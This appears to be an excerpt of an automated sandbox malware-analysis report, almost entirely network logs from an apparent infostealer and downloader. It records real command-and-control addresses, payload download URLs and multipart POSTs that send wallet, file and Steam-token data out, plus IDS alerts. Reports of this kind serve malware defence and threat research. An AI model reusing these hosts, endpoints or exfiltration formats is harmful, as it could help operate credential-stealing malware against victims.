Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAKJKEHDBGHIDHIEHDBHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHJEBKJEGHJKECAAKJKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 34 38 32 66 35 65 37 65 61 65 31 36 61 65 34 33 64 39 34 65 30 63 39 65 37 37 39 61 34 39 66 62 33 36 64 32 65 65 66 38 66 66 66 65 36 61 32 66 33 61 32 36 31 61 64 32 66 37 36 62 65 32 38 36 61 66 65 38 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="token"7482f5e7eae16ae43d94e0c9e779a49fb36d2eef8fffe6a2f3a261ad2f76be286afe8d11------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="message"wallets------BGHJEBKJEGHJKECAAKJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAEBGCAAECAKFHIIJDBHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 34 38 32 66 35 65 37 65 61 65 31 36 61 65 34 33 64 39 34 65 30 63 39 65 37 37 39 61 34 39 66 62 33 36 64 32 65 65 66 38 66 66 66 65 36 61 32 66 33 61 32 36 31 61 64 32 66 37 36 62 65 32 38 36 61 66 65 38 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 4a 44 42 2d 2d 0d 0a Data Ascii: ------IDAEBGCAAECAKFHIIJDBContent-Disposition: form-data; name="token"7482f5e7eae16ae43d94e0c9e779a49fb36d2eef8fffe6a2f3a261ad2f76be286afe8d11------IDAEBGCAAECAKFHIIJDBContent-Disposition: form-data; name="message"files------IDAEBGCAAECAKFHIIJDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAFHIIJJECGDHIEGDAKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 34 38 32 66 35 65 37 65 61 65 31 36 61 65 34 33 64 39 34 65 30 63 39 65 37 37 39 61 34 39 66 62 33 36 64 32 65 65 66 38 66 66 66 65 36 61 32 66 33 61 32 36 31 61 64 32 66 37 36 62 65 32 38 36 61 66 65 38 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="token"7482f5e7eae16ae43d94e0c9e779a49fb36d2eef8fffe6a2f3a261ad2f76be286afe8d11------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="file"------ECAFHIIJJECGDHIEGDAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDBAFHJJDAKEBGCFCBGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 34 38 32 66 35 65 37 65 61 65 31 36 61 65 34 33 64 39 34 65 30 63 39 65 37 37 39 61 34 39 66 62 33 36 64 32 65 65 66 38 66 66 66 65 36 61 32 66 33 61 32 36 31 61 64 32 66 37 36 62 65 32 38 36 61 66 65 38 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="token"7482f5e7eae16ae43d94e0c9e779a49fb36d2eef8fffe6a2f3a261ad2f76be286afe8d11------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="message"ybncbhylepme------EGDBAFHJJDAKEBGCFCBG--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJKKKJJJKJKFHJJJJECHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 34 38 32 66 35 65 37 65 61 65 31 36 61 65 34 33 64 39 34 65 30 63 39 65 37 37 39 61 34 39 66 62 33 36 64 32 65 65 66 38 66 66 66 65 36 61 32 66 33 61 32 36 31 61 64 32 66 37 36 62 65 32 38 36 61 66 65 38 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 2d 2d 0d 0a Data Ascii: ------JKJKKKJJJKJKFHJJJJECContent-Disposition: form-data; name="token"7482f5e7eae16ae43d94e0c9e779a49fb36d2eef8fffe6a2f3a261ad2f76be286afe8d11------JKJKKKJJJKJKFHJJJJECContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JKJKKKJJJKJKFHJJJJEC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/7993434781/ziNGMDa.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 34 33 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013433001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 34 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013443001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 34 34 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013444001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 34 34 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013445001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGCBFCBFBKFHIECAFCFHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 35 30 37 35 30 44 45 35 45 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 2d 2d 0d 0a Data Ascii: ------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="hwid"150750DE5E39786254513------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="build"stok------KEGCBFCBFBKFHIECAFCF--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49767 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49805 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49866 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49917 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49938 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49956 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49962 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49958 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49967 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49976 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49979 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49984 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49989 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49995 -> 172.67.165.166:443

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C61CC60 PR_Recv,

0_2_6C61CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/7993434781/ziNGMDa.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz

Source: skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeJW
Source: skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeuW
